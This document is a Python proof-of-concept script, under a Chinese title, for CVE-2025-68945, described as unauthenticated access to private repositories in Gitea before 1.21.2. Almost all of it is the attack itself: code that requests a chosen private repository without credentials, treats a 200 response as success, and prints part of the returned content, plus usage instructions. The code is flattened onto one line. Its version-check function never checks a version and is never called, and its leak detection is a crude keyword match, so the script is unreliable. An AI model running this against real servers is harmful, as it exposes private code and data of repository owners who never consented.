CVE-2025-68945 Gitea 1.21.2前版本匿名用户可访问私有项目

# CVE-2025-68945 PoC - Gitea Private Repository Access # Affected Version: Gitea < 1.21.2 import requests import sys def check_gitea_version(base_url): """Check if Gitea version is vulnerable""" try: response = requests.get(f"{base_url}/api/health", timeout=10) if response.status_code == 200: return True except: pass return False def exploit_private_repo_access(base_url, private_repo_path): """ Exploit: Anonymous user can access private repository Steps: 1. Send HTTP GET request to private repository URL without authentication 2. If vulnerability exists, server returns 200 with repository content 3. Extract sensitive information from response """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Target private repository URL target_url = f"{base_url}/{private_repo_path}" print(f"[*] Targeting: {target_url}") print(f"[*] Sending request without authentication...") # Send request without session/authentication response = requests.get(target_url, headers=headers, allow_redirects=False) print(f"[*] Response Status: {response.status_code}") # Vulnerable if returns 200 (should be 401/403 or redirect to login) if response.status_code == 200: print("[!] VULNERABLE: Private repository accessible without authentication!") print(f"[*] Response Length: {len(response.text)} bytes") # Extract repository information if 'repository' in response.text.lower() or 'owner' in response.text.lower(): print("[+] Repository metadata leaked:") print(response.text[:500]) return True elif response.status_code in [301, 302]: print(f"[-] Not vulnerable: Redirected to {response.headers.get('Location')}") return False else: print(f"[-] Not vulnerable: Status {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-68945.py <gitea_url> <private_repo_path>") print("Example: python cve-2025-68945.py http://localhost:3000 username/private-repo") sys.exit(1) base_url = sys.argv[1].rstrip('/') repo_path = sys.argv[2] exploit_private_repo_access(base_url, repo_path)